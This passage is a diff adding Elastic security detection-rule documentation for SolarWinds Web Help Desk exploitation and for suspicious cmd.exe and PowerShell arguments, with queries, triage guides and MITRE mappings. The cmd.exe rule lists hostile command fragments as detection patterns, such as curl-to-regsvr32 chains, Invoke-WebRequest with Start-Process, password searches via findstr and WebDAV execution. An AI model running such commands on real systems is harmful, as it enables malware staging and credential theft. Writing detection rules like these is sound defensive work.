https://attack.mitre.org/techniques/T1195/ +* Sub-technique: +** Name: Compromise Software Supply Chain +** ID: T1195.002 +** Reference URL: https://attack.mitre.org/techniques/T1195/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-suspicious-solarwinds-web-help-desk-java-module-load-or-child-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-suspicious-solarwinds-web-help-desk-java-module-load-or-child-process.asciidoc new file mode 100644 index 0000000000..2f7fca0923 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-suspicious-solarwinds-web-help-desk-java-module-load-or-child-process.asciidoc @@ -0,0 +1,189 @@ +[[prebuilt-rule-8-19-36-suspicious-solarwinds-web-help-desk-java-module-load-or-child-process]] +=== Suspicious SolarWinds Web Help Desk Java Module Load or Child Process + +Identifies the SolarWinds Web Help Desk Java process loading an untrusted or remote native module (DLL) or spawning a suspicious child process such as cmd, PowerShell, or rundll32. This behavior is uncommon for the Web Help Desk server and may indicate successful exploitation of deserialization vulnerabilities (CVE-2025-40536, CVE-2025-40551), which allow attackers to load malicious SQLite extensions and achieve remote code execution. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.library-* +* logs-endpoint.events.process-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://horizon3.ai/attack-research/cve-2025-40551-another-solarwinds-web-help-desk-deserialization-issue/ +* https://github.com/rapid7/metasploit-framework/pull/20917 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Use Case: Vulnerability +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Living off the Land +* Threat: Vulnerability Exploit +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Vuln: CVE-2025-40536 +* Vuln: CVE-2025-40551 + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious SolarWinds Web Help Desk Java Module Load or Child Process* + + + +*Possible investigation steps* + + +- Which path fired, and what alert-local evidence defines it? + - Why: The single-event branch decides whether DLL fields or child-process fields carry the decisive evidence. + - Focus: `event.category`, Java path in `process.executable` or `process.parent.executable`, `dll.path`, and child `process.command_line`. + - Hint: record `process.entity_id` for library alerts and `process.parent.entity_id` for child-process alerts before later pivots. + - Implication: Escalate quickly for Web Help Desk Java loading remote or untrusted native code, or spawning "cmd.exe", "powershell.exe", or "rundll32.exe" with payload behavior. Lower concern only when the exact branch maps to a recognized local extension, authorized validation, or vendor support action and process or DLL evidence stays consistent. + +- Does the Java-side identity match the expected Web Help Desk service instance? + - Focus: Java path from step 1 and Java command line: `process.command_line` for library alerts or `process.parent.command_line` for child-process alerts. + - Implication: Escalate when the Java path falls outside the WebHelpDesk install tree or the service command line is abnormal for the deployed server. Identity lowers suspicion only when exact Java path and service context match the installed server; it does not clear a remote DLL load or shell child. + +- For the DLL-load path, does the module look like a remote SQLite-extension payload or unsupported native component? + - Why: Malicious SQLite-extension style native loading makes DLL path and trust state the strongest branch evidence. + - Focus: `dll.path`, `dll.hash.sha256`, `dll.code_signature.exists`, `dll.code_signature.trusted`, and `dll.code_signature.subject_name`. + - Implication: Escalate when `dll.path` shows "\Device\Mup\", a UNC-style share, temp or unrelated writable path, unsigned or untrusted module, or signer unrelated to Web Help Desk or its controlled extension set. Lower concern only when the module is local to the Web Help Desk or JDBC layout and has a recognized hash or signer. + +- For the child-process path, does the Java-spawned child show post-exploitation intent? + - Focus: `process.name`, `process.command_line`, and `process.parent.command_line`. + - Implication: Escalate when the command line decodes or stages payloads, loads DLLs, launches scripts, performs discovery, or changes persistence. Lower concern only for exact recognized validation or vendor-support command on this server with no contradictory DLL evidence. + +- Did the same Web Help Desk Java instance produce more DLL loads or suspicious children around the alert? + - Focus: process and library events scoped by `host.id` plus Java-side `process.entity_id` or `process.parent.entity_id`; review `process.command_line`, `dll.path`, and `dll.hash.sha256`. !{investigate{"description":"","label":"Process and DLL activity tied to the Web Help Desk Java instance","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"library","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.parent.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"library","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.parent.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: Escalate when the same Java instance loads multiple remote or untrusted DLLs, starts multiple shell or loader children, or shows child execution after a suspicious DLL load. No surrounding process or library events narrows scope, but does not clear the original alert. + +- If local evidence remains suspicious or unresolved, are there related exploit or post-exploitation alerts on this server? + - Focus: related alerts on `host.id`, especially Web Help Desk exploitation, suspicious Java children, DLL loads, persistence, or credential access. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: Expand scope when related alerts align with the same Java process, DLL hash, or child command pattern. Keep the case local when related-alert review is clean, but do not use alert isolation alone to close. + +- Escalate on remote or untrusted DLL loading, malicious child execution, or same-Java corroboration; close only when branch evidence tightly matches a recognized local extension, authorized validation, or vendor support action on this host with no contradictory process or DLL evidence; if visibility or authorization is incomplete, preserve evidence and escalate. + + +*False positive analysis* + + +- Local native extension, JDBC, or vendor-support testing can explain the DLL path only when the module stays local to the Web Help Desk or controlled plugin layout; `dll.hash.sha256`, `dll.code_signature.subject_name`, and `dll.code_signature.trusted` match the expected component; Java identity matches the installed server; and no Java-spawned shell or loader appears. Without support or change records, require telemetry-only alignment across `host.id`, Java `process.executable` or `process.parent.executable`, `dll.path`, and `dll.hash.sha256`; otherwise treat as unresolved. +- Java-spawned "cmd.exe", "powershell.exe", or "rundll32.exe" is a Web Help Desk operational anti-pattern. Close only for authorized validation or vendor support where `process.name`, `process.command_line`, `process.parent.executable`, and `host.id` match that exact activity and no remote or untrusted DLL evidence appears. Without exact support or validation context, treat the branch as suspicious. +- Before creating an exception, validate stable benign behavior for the exact workflow and host. For DLL loads, anchor on Java identity, `dll.path`, `dll.hash.sha256`, `dll.code_signature.subject_name`, and `host.id`; for child processes, anchor on Java parent identity, exact `process.command_line`, and `host.id`. Avoid exceptions on "java.exe", the WebHelpDesk path prefix, a DLL directory prefix, or the server alone. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary containment and document the Java identity, DLL hash/path or child command line, `host.id`, and support, validation, or extension evidence that proved the workflow. Create an exception only from the narrow branch-specific anchors that proved that workflow. +- If suspicious but unconfirmed, preserve the alert export, process tree, Java and child command lines, loaded DLL file, DLL hash/signature, and any "\Device\Mup\" share path before containment. Apply reversible containment first, such as restricting Web Help Desk exposure or blocking the observed remote share path, and escalate to endpoint isolation only when DLL or child-process evidence suggests active payload execution. +- If confirmed malicious, preserve process, DLL, and case artifacts before destructive action. Isolate the endpoint when the Java process is executing payloads or reaching remote native-code staging, block the malicious share path or DLL hash, collect the loaded DLL and relevant process evidence before termination, then remove only the payloads, persistence items, and service changes identified during the investigation. +- Remediate the entry vector by upgrading or patching Web Help Desk to the vendor-fixed release, confirming the exposed service is no longer vulnerable, and reviewing whether public access, outbound SMB from the server, or native-extension/plugin controls need tighter restrictions. +- Post-incident hardening: retain the process and library telemetry that proved the case, document remote SQLite-extension loading or Java-spawned shell activity for future triage, and record any authorized validation or support exception with its exact branch-specific anchors. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +==== Rule query + + +[source, js] +---------------------------------- +any where host.os.type == "windows" and +( + (event.category == "library" and + process.executable : ("C:\\Program Files\\WebHelpDesk\\*\\java*.exe", "C:\\Program Files (x86)\\WebHelpDesk\\*\\java*.exe") and + (dll.path : "\\Device\\Mup\\*" or dll.code_signature.trusted == false or dll.code_signature.exists == false)) or + + (event.category == "process" and process.name : ("cmd.exe", "powershell.exe", "rundll32.exe") and + process.parent.executable : ("C:\\Program Files\\WebHelpDesk\\*\\java*.exe", "C:\\Program Files (x86)\\WebHelpDesk\\*\\java*.exe")) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Technique: +** Name: Shared Modules +** ID: T1129 +** Reference URL: https://attack.mitre.org/techniques/T1129/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-suspicious-windows-command-shell-arguments.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-suspicious-windows-command-shell-arguments.asciidoc new file mode 100644 index 0000000000..791a2a9d08 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-suspicious-windows-command-shell-arguments.asciidoc @@ -0,0 +1,267 @@ +[[prebuilt-rule-8-19-36-suspicious-windows-command-shell-arguments]] +=== Suspicious Windows Command Shell Arguments + +Identifies the execution of the Windows Command Shell process (cmd.exe) with suspicious argument values. This behavior is often observed during malware installation. + +*Rule type*: eql + +*Rule indices*: + +* logs-crowdstrike.fdr* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* endgame-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Windows Security Event Logs +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious Windows Command Shell Arguments* + + + +*Possible investigation steps* + + +- What abuse path and launch context does the alerting "cmd.exe" show? + - Focus: `process.command_line`, `process.args`, `process.executable`, `process.parent.executable`, and `process.parent.command_line`; classify reconstruction, remote retrieval, WebDAV or UNC execution, obfuscated environment setup, or handoff to "regsvr32.exe", "wscript.exe", "mshta.exe", PowerShell, or AutoIt. + - Implication: escalate when the command reconstructs scripts, pulls remote content, starts from a remote share, chains to proxy execution, runs from a non-native path, or has a parent conflicting with command purpose; lower suspicion only when parent-command, user-host, child, artifact, and destination evidence form one consistent current activity. Identity or recurrence alone does not clear suspicious arguments. + +- Did the same "cmd.exe" instance launch a second stage? + - Focus: child starts where `host.id` and `process.parent.entity_id` map to `process.entity_id`; review child `process.executable` and `process.command_line`. !{investigate{"description":"","label":"Child process starts from the same cmd.exe instance","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: if `process.entity_id` is absent, use `host.id` plus `process.pid` in a tight alert-time window. + - Implication: escalate when the shell launches PowerShell, "regsvr32.exe", "wscript.exe", "mshta.exe", archive tools, script files, or newly staged payloads; lower suspicion when no child follows or stays inside the parent directory or command-named output path. + +- If endpoint file telemetry is available, did the shell reconstruct or stage executable content? + - Focus: file activity tied to `process.entity_id` or, if needed, `host.id` plus `process.pid`, checking `file.path`, `file.Ext.original.path`, `file.Ext.header_bytes`, and `file.Ext.windows.zone_identifier`. !{investigate{"description":"","label":"File activity for the alerting cmd.exe instance","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the shell writes scriptable files, rebuilds archive or PE content, renames staged payloads, or leaves internet-marked content in temp, public, or user-writable paths; lower suspicion when paths stay under the parent directory or command-named output path and no written content later executes. Missing file telemetry is unresolved, not benign. + +- If endpoint network telemetry is available, did the shell retrieve content or execute from WebDAV or UNC infrastructure? + - Focus: process-scoped DNS and connections for `host.id` and `process.entity_id`; compare DNS `dns.question.name` or `dns.resolved_ip` and connection `destination.ip` or `destination.port` with UNC, "DavWWWRoot", or URL fragments in `process.command_line`. !{investigate{"description":"","label":"Network activity for the alerting cmd.exe instance","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: if `dns.resolved_ip` is present, correlate it to `destination.ip` on the same host and process before judging the destination. + - Implication: escalate when the shell reaches rare public hosts, unexpected WebDAV endpoints, or shares unrelated to the parent; lower suspicion when DNS and connections match the share, URL, or host pattern visible in the command and parent. Missing network telemetry is unresolved, not benign. + +- If local findings remain suspicious or unresolved, does the pattern recur on the same host or user? + - Focus: recent alerts for the same `host.id`, emphasizing execution, delivery, persistence, or proxy-execution detections that reuse the same command-shell pattern. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: if the host is shared or quiet, compare recent alerts for the same `user.id` to test whether the user carries the pattern to other systems. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden scope when the same host or user also shows delivery, shell, or persistence alerts; keep local when related alerts are clean and telemetry binds one parent-command, child, artifact, destination, and user-host tuple. + +- What disposition does the parent-command, child, artifact, destination, and user-host tuple support? + - Escalate for staged execution, remote retrieval, script reconstruction, proxy execution, or broader compromise; close only when alert-local command, parent, child, artifact, destination, user-host, and related-alert evidence bind one exact benign tuple with no contradictions. Preserve evidence and escalate on conflicts or incomplete visibility. + + +*False positive analysis* + + +- Packaging, build, installer, or developer activity can use "cmd.exe" to reconstruct files, call package managers, or hand off to helper utilities. Confirm `process.parent.executable`, `process.parent.command_line`, `process.command_line`, `user.id`, and `host.id` align with the same current parent path, helper command, package cache, build output, or database-export output, and that recovered child, file, or destination evidence does not conflict. Build records or change tickets are corroboration only. +- Remote-support or software-distribution activity can reference UNC paths or "DavWWWRoot". When network or file telemetry exists, confirm `process.command_line`, `process.parent.executable`, `host.id`, and any recovered `dns.question.name`, `destination.ip`, or `file.path` stay inside one current distribution share, vendor endpoint, support-client cache, or deployment path and no unexpected child appears. Missing file or network telemetry is unresolved, not benign. Support records or inventories are corroboration only. +- Before creating an exception, validate that the same `process.parent.executable`, `process.command_line`, `user.id`, `host.id`, and recovered artifact or destination anchors recur across prior alerts from this rule. Avoid exceptions on "cmd.exe" alone, one argument token, one destination, or parent name. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary containment and document the parent command, alerting command, user-host scope, and recovered artifact or destination evidence. Create an exception only after the same tuple is stable across prior alerts from this rule. +- If suspicious but unconfirmed, preserve the alert, Timeline records, full command lines, process tree, recovered child details, staged files, and DNS or connection evidence before destructive action. Apply reversible containment first, such as temporary destination restrictions or heightened monitoring on `host.id` and `user.id`; isolate only when follow-on execution, staged payloads, or remote retrieval justifies disruption. +- If confirmed malicious, isolate the host when identity, lineage, artifact, or destination evidence establishes unauthorized execution, then block confirmed malicious domains, destinations, or hashes. Record malicious shell and child identifiers before termination, scope related hosts and users before artifact removal, then remove only the scripts, archives, rebuilt payloads, persistence artifacts, or launcher components identified during the investigation. +- Post-incident hardening: retain process, file, and network telemetry. If browser, explorer, script-host, or AutoIt launch paths were involved, review controls for user-driven shell launches; if WebDAV, UNC, or URL retrieval was involved, review remote-share and WebDAV execution controls. Note adjacent "mshta.exe", "wscript.exe", "regsvr32.exe", PowerShell, AutoIt, and explorer-driven clickfix-style variants for future triage. + + +==== Setup + + + +*Setup* + + +This rule requires telemetry from one of the configured source integrations to be enabled and ingested. + + +*Supported data sources* + + +This rule can use the following data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : "cmd.exe" and + ( + process.command_line : ( + "*).Run(*", "*GetObject*", "* curl*regsvr32*", "*echo*wscript*", "*echo*ZONE.identifier*", + "*ActiveXObject*", "*dir /s /b *echo*", "*unescape(*", "*findstr*TVNDRgAAAA*", "*findstr*passw*", "*start*\\\\*\\DavWWWRoot\\*", + "* explorer*%CD%*", "*%cd%\\*.js*", "*attrib*%CD%*", "*/?cMD<*", "*/AutoIt3ExecuteScript*..*", "*&cls&cls&cls&cls&cls&*", + "*&#*;&#*;&#*;&#*;*", "* &&s^eT*", "*& ChrW(*", "*&explorer /root*", "*start __ & __\\*", "*findstr /V /L *forfiles*", + "*=wscri& set *", "*http*!COmpUternaME!*", "*start *.pdf * start /min cmd.exe /c *\\\\*", "*pip install*System.Net.WebClient*", + "*Invoke-WebReques*Start-Process*", "*-command (Invoke-webrequest*", "*copy /b *\\\\* ping *-n*", "*echo*.ToCharArray*" + ) or + + (process.args : "echo" and process.parent.name : ("wscript.exe", "mshta.exe")) or + + process.args : ("1>?:\\*.vbs", "1>?:\\*.js") or + + (process.args : "explorer.exe" and process.args : "type" and process.args : ">" and process.args : "start") or + + ( + process.parent.name : "explorer.exe" and + process.command_line : ( + "*&&S^eT *", + "*&& set *&& set *&& set *&& set *&& set *&& call*", + "**\\u00??\\u00??\\u00??\\u00??\\u00??\\u00??\\u00??\\u00??*" + ) + ) or + + (process.parent.name : "explorer.exe" and process.args : "copy" and process.args : "&&" and process.args : "\\\\*@*\\*") + ) and + + /* false positives */ + not (process.args : "%TEMP%\\Spiceworks\\*" and process.parent.name : "wmiprvse.exe") and + not (?process.parent.executable : ( + "?:\\Perl64\\bin\\perl.exe", + "?:\\Program Files\\nodejs\\node.exe", + "?:\\Program Files\\HP\\RS\\pgsql\\bin\\pg_dumpall.exe", + "?:\\Program Files (x86)\\PRTG Network Monitor\\64 bit\\PRTG Server.exe", + "?:\\Program Files (x86)\\Spiceworks\\bin\\spiceworks-finder.exe", + "?:\\Program Files (x86)\\Zuercher Suite\\production\\leds\\leds.exe", + "?:\\Program Files\\Tripwire\\Agent\\Plugins\\twexec\\twexec.exe", + "D:\\Agents\\?\\_work\\_tasks\\*\\SonarScanner.MSBuild.exe", + "?:\\Program Files\\Microsoft VS Code\\Code.exe", + "?:\\programmiweb\\NetBeans-*\\netbeans\\bin\\netbeans64.exe", + "?:\\Program Files (x86)\\Public Safety Suite Professional\\production\\leds\\leds.exe", + "?:\\Program Files (x86)\\Tier2Tickets\\button_gui.exe", + "?:\\Program Files\\NetBeans-*\\netbeans\\bin\\netbeans*.exe", + "?:\\Program Files (x86)\\Public Safety Suite Professional\\production\\leds\\leds.exe", + "?:\\Program Files (x86)\\Tier2Tickets\\button_gui.exe", + "?:\\Program Files (x86)\\Helpdesk Button\\button_gui.exe", + "?:\\VTSPortable\\VTS\\jre\\bin\\javaw.exe", + "?:\\Program Files\\Bot Framework Composer\\Bot Framework Composer.exe", + "?:\\Program Files\\KMSYS Worldwide\\eQuate\\*\\SessionMgr.exe", + "?:\\Program Files (x86)\\Craneware\\Pricing Analyzer\\Craneware.Pricing.Shell.exe", + "?:\\Program Files (x86)\\jumpcloud-agent-app\\jumpcloud-agent-app.exe", + "?:\\Program Files\\PostgreSQL\\*\\bin\\pg_dumpall.exe", + "?:\\Program Files (x86)\\Vim\\vim*\\vimrun.exe") and ?process.parent.executable != null) and + not ( + /* Crowdstrike doesn't populate process.parent.executable */ + data_stream.dataset == "crowdstrike.fdr" and + process.parent.name : ( + "perl.exe", "node.exe", "pg_dumpall.exe", "PRTG Server.exe", "spiceworks-finder.exe", "leds.exe", "twexec.exe", + "SonarScanner.MSBuild.exe", "Code.exe", "netbeans64.exe", "javaw.exe", "Bot Framework Composer.exe", "SessionMgr.exe", + "Craneware.Pricing.Shell.exe", "jumpcloud-agent-app.exe", "vimrun.exe" + ) + ) and + not (process.args : "?:\\Program Files\\Citrix\\Secure Access Client\\nsauto.exe" and process.parent.name : "userinit.exe") and + not process.args : ( + "?:\\Program Files (x86)\\PCMatic\\PCPitstopScheduleService.exe", + "?:\\Program Files (x86)\\AllesTechnologyAgent\\*", + "https://auth.axis.com/oauth2/oauth-authorize*" + ) and + not process.command_line : ( + "\"cmd\" /c %NETBEANS_MAVEN_COMMAND_LINE%", + "?:\\Windows\\system32\\cmd.exe /q /d /s /c \"npm.cmd ^\"install^\" ^\"--no-bin-links^\" ^\"--production^\"\"" + ) and + not (process.name : "cmd.exe" and process.args : "%TEMP%\\Spiceworks\\*" and process.args : "http*/dataloader/persist_netstat_data") and + not (process.args == "echo" and process.args == "GEQ" and process.args == "1073741824") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ +* Sub-technique: +** Name: Regsvr32 +** ID: T1218.010 +** Reference URL: https://attack.mitre.org/techniques/T1218/010/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-suspicious-windows-powershell-arguments.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-suspicious-windows-powershell-arguments.asciidoc new file mode 100644 index 0000000000..0f25def554 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-suspicious-windows-powershell-arguments.asciidoc @@ -0,0 +1,290 @@ +[[prebuilt-rule-8-19-36-suspicious-windows-powershell-arguments]] +=== Suspicious Windows Powershell Arguments + +Identifies the execution of PowerShell with suspicious argument values. This behavior is often observed during malware installation leveraging PowerShell. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-crowdstrike.fdr* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* endgame-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Windows Security Event Logs +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Crowdstrike +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Script-Based Execution +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 218 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Windows Powershell Arguments* + + +PowerShell is a powerful scripting language and command-line shell used for task automation and configuration management in Windows environments. Adversaries exploit PowerShell's capabilities to execute malicious scripts, download payloads, and obfuscate commands. The detection rule identifies unusual PowerShell arguments indicative of such abuse, focusing on patterns like encoded commands, suspicious downloads, and obfuscation techniques, thereby flagging potential threats for further investigation. + + +*Possible investigation steps* + + +- Review the process command line and arguments to identify any encoded or obfuscated content, such as Base64 strings or unusual character sequences, which may indicate malicious intent. +- Check the parent process of the PowerShell execution, especially if it is explorer.exe or cmd.exe, to determine if the PowerShell instance was launched from a suspicious or unexpected source. +- Investigate any network activity associated with the PowerShell process, particularly looking for connections to known malicious domains or IP addresses, or the use of suspicious commands like DownloadFile or DownloadString. +- Examine the user account associated with the PowerShell execution to determine if it aligns with expected behavior or if it might be compromised. +- Correlate the event with other security alerts or logs from the same host or user to identify patterns or additional indicators of compromise. +- Assess the risk and impact of the detected activity by considering the context of the environment, such as the presence of sensitive data or critical systems that might be affected. + + +*False positive analysis* + + +- Legitimate administrative scripts may use encoded commands for obfuscation to protect sensitive data. Review the script's source and purpose to determine if it is authorized. If confirmed, add the script's hash or specific command pattern to an allowlist. +- Automated software deployment tools might use PowerShell to download and execute scripts from trusted internal sources. Verify the source and destination of the download. If legitimate, exclude the specific tool or process from the detection rule. +- System maintenance tasks often involve PowerShell scripts that manipulate files or system settings. Identify routine maintenance scripts and exclude their specific command patterns or file paths from triggering the rule. +- Security software may use PowerShell for scanning or remediation tasks, which can mimic suspicious behavior. Confirm the software's legitimacy and add its processes to an exception list 